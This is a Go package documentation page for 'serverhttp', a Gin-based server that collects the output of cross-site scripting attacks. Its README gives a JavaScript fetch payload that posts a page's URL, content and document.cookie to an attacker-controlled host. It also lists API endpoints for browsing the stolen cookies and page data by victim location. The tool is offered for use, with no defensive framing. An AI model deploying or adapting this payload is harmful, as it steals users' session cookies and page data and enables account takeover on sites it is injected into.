serverhttp

package
v0.0.7 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 31, 2024 License: GPL-3.0 Imports: 14 Imported by: 0

README

XSS Handling

template Gin to routing js file handling

  1. Enable sqlite3
apt-get install sqlite3
  1. Have file client.js to handle xss

Here u post data with fetch like

fetch("https://xxx/content", {
					body: "url=" + x + "&content=" + x+ "&cookie:"+document.cookie,
					headers: {
						"Content-Type": "application/x-www-form-urlencoded"
					},
					method: "POST"
				})
  1. Access API to check
https://x/print/locations -> all localtions
https://x/print/content?location=???? -> data content and cookie of localtion

How to use

xss.Run("client.js")

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func Run

func Run(file string, https bool)

Start server and use filejs to trigger xss

Types

This section is empty.

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL